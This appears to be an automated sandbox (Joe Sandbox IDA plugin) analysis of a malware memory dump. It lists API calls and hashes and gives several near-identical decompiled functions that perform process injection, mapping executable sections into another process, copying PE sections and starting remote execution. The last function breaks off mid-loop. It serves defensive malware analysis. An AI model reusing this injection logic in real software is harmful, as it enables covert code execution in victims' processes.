0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018c3
0x004018d7
0x004018e0
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction ID: 208a9abdd1aee22c33f973a86314166aafce39c53584160e1e70edf4842307f5
Opcode Fuzzy Hash: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction Fuzzy Hash: 93616175900204FBEB209F91DC89FAF7BB8EF85700F10412AF912BA1E4D7759901DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040152C(signed int __ebx, signed int __ecx, void* __edi, void* __esi) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr* _t135;
				long* _t140;
				signed int _t142;
				int _t143;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				void* _t167;
				intOrPtr* _t168;
				void* _t171;
				intOrPtr _t181;
				void* _t182;
				void* _t183;
				intOrPtr* _t189;
				intOrPtr* _t190;
				HANDLE* _t191;
				HANDLE* _t192;
				void* _t197;
				void* _t198;
				intOrPtr* _t201;
				void* _t202;
				void* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				intOrPtr* _t210;
				void* _t211;
				signed char _t212;
				long _t226;
				void* _t232;

				asm("pushfd");
				_t130 = __ebx | __ecx;
				_t212 = __ebx | __ecx;
				_t86 = 0x1561;
				_push(0x38d);
				_t133 =  *_t208;
				_t209 = _t208 + 4;
				asm("cmc");
				E0040119E(_t86, _t130, _t133, 0xc0, __edi, __esi, _t212, _t232);
				_t131 =  *((intOrPtr*)(_t207 + 8));
				 *((intOrPtr*)(_t207 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t207 - 0x34)) =  *((intOrPtr*)(_t207 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t207 - 0x5c)) = _t89;
				_t189 = _t207 - 0x60;
				 *_t189 = 0;
				 *((intOrPtr*)(_t131 + 0x4c))(_t89, _t189);
				_t92 =  *_t189;
				if(_t92 != 0) {
					_t135 = _t207 - 0x30;
					 *_t135 = _t92;
					 *((intOrPtr*)(_t135 + 4)) = 0;
					_t190 = _t207 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t190, 0x18);
					 *_t190 = 0x18;
					_push(_t207 - 0x30);
					_push(_t190);
					_push(0x40);
					_push(_t207 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t207 - 0x10), 0xffffffff, 0xffffffff, _t207 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t207 - 8)) = 0;
						_t100 = _t207 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t191 = _t207 - 0x54;
						if(NtCreateSection(_t191, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t207 - 0x50);
							_t123 = _t207 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t191, 0xffffffff, _t123, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t207 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t191,  *(_t207 - 0xc), _t125, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
									_t206 =  *(_t207 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(0, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t207 + 0x14));
									 *((intOrPtr*)(_t207 - 8)) =  *((intOrPtr*)(_t207 - 8)) + 1;
								}
							}
						}
						_t102 = _t207 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t207 + 0x10)) + 0x10000;
						_t192 = _t207 - 0x58;
						if(NtCreateSection(_t192, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t207 - 8)) != 0) {
							 *_t46 =  *(_t207 - 0x50);
							_t104 = _t207 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t104, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t207 - 0x40;
								 *_t106 = 0;
								_t140 = _t207 - 0x38;
								_t226 = NtMapViewOfSection( *_t192,  *(_t207 - 0xc), _t106, 0, 0, 0, _t140, 1, 0, 0x20);
								if(_t226 == 0) {
									L25();
									if(_t226 == 0 && _t226 != 0) {
										 *_t140 = _t192;
										_t209 = _t207;
										_pop(_t207);
									}
									_t210 = _t209 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t210;
									_t211 = _t210 + 4;
									_t164 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t165 = _t164;
									asm("loop 0xffffffc1");
									_t166 = _t165 ^ 0xa3491271;
									_t209 = _t211 - _t166;
									_t197 =  *((intOrPtr*)(_t207 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t207 + 0xc))));
									_t142 =  *(_t197 + 6) & 0x0000ffff;
									_push(_t197);
									_t167 = _t197;
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_t168 = _t167 + 0xf8;
										__eflags = _t168;
									} else {
										_t168 = _t167 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t168 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t168 + 0xc)) +  *(_t207 - 0x48),  *((intOrPtr*)(_t168 + 0x14)) +  *((intOrPtr*)(_t207 + 0xc)), _t143);
										_t209 = _t209 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t198);
									_t230 =  *((intOrPtr*)(_t207 - 0x34));
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_push(_t198);
										_t171 =  *((intOrPtr*)(_t198 + 0x34)) -  *(_t207 - 0x40);
										_t201 =  *((intOrPtr*)(_t198 + 0xa0)) +  *(_t207 - 0x48);
										__eflags = _t201;
										while(1) {
											__eflags =  *_t201;
											if( *_t201 == 0) {
												break;
											}
											_t181 =  *_t201;
											_t201 = _t201 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t171;
												__eflags =  *((intOrPtr*)( *(_t207 - 0x48) + 0 + _t181));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t202);
										__eflags = 0;
										_t110 = _t207 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t207 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t202 + 0x28)) +  *(_t207 - 0x40),  *(_t207 - 0x3c), _t110, 0);
									} else {
										L58();
										_pop(_t182);
										_t183 = _t182 - 0x17da;
										 *((intOrPtr*)(_t183 + 0x180e)) = _t183 + 0x2f6c;
										E00401217(_t131, _t230, _t232, _t183 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t183 + 0x1833)) = _t183 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040152c
0x0040152d
0x0040152d
0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction ID: 91d7b6eb91bdc9b702aebae0ea57f4798882290432fe6fcee8abfa626251d873
Opcode Fuzzy Hash: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction Fuzzy Hash: 0F5149B5900245BBEB209F91CC48FEFBFB8EF85B00F144159F911AA2A5D7759901CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401557(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				void* _t206;
				intOrPtr* _t207;
				void* _t208;
				long _t223;
				void* _t229;

				asm("sahf");
				if (__eflags > 0) goto 0x401545;
				asm("cmc");
				E0040119E(_t86, __ebx, __ecx, 0xc0, __edi, __esi, __eflags, _t229);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t223 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t223 == 0) {
									L19();
									if(_t223 == 0 && _t223 != 0) {
										 *_t138 = _t190;
										_t206 = _t205;
										_pop(_t205);
									}
									_t207 = _t206 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t207;
									_t208 = _t207 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t206 = _t208 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t206 = _t206 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t227 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L52();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t227, _t229, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401557
0x00401558
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction ID: cc3d46135835756f9cafff621b1599bf12e5bdd411ec13d592e282f5f8ecdeaa
Opcode Fuzzy Hash: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction Fuzzy Hash: C1512A75900249BBEB209F91CC48FAFBBB8FF85B00F144169FA11BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040151F(void* __ebx, void* __edi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				intOrPtr* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				long _t224;
				void* _t230;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t206;
				_t207 = _t206 + 4;
				asm("cmc");
				E0040119E(_t86, __ebx, _t131, 0xc0, __edi, 0x53802c55, __eflags, _t230);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t224 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t224 == 0) {
									L24();
									if(_t224 == 0 && _t224 != 0) {
										 *_t138 = _t190;
										_t207 = _t205;
										_pop(_t205);
									}
									_t208 = _t207 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t208;
									_t209 = _t208 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t207 = _t209 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t207 = _t207 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t228 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
